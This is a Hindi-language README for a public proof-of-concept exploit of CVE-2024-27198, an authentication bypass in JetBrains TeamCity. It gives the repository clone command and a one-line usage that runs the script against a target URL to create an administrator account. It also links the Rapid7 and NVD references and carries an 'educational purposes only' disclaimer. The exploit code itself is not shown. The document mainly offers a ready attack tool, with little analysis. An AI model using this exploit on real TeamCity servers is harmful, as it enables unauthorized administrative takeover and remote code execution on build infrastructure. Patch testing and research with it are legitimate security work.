CVE-2024-27198

JetBrains TeamCity के 2023.11.4 से पहले के संस्करणों में एक प्रमाणीकरण बाईपास है जो TeamCity सर्वर पर व्यवस्थापक क्रियाएं करने की अनुमति देता है, एक हमलावर सभी TeamCity प्रोजेक्ट्स, बिल्ड्स, एजेंट्स और आर्टिफैक्ट्स पर पूर्ण नियंत्रण ले सकता है, अंततः हमलावर RCE (रिमोट कोड एक्जीक्यूशन) करेगा।

डाउनलोड

git clone https://github.com/jrbH4CK/CVE-2024-27198.git
cd CVE-2024-27198

PoC

सर्वर पर व्यवस्थापक विशेषाधिकारों के साथ एक खाता बनाने के लिए

python3 cve-2024-27198.py http://example.com username password

डेमो:

खाता निर्माण

उपयोगकर्ता भूमिकाएँ

अतिरिक्त नोट्स

• इस कमजोरी का स्पष्टीकरण https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ पर है।
• एक अन्य संदर्भ https://nvd.nist.gov/vuln/detail/CVE-2024-27198
• इस एक्सप्लॉइट का परीक्षण JetBrains TeamCity संस्करण 2023.05.3 पर एक नियंत्रित वातावरण में किया गया था।
• केवल शैक्षिक उद्देश्यों के लिए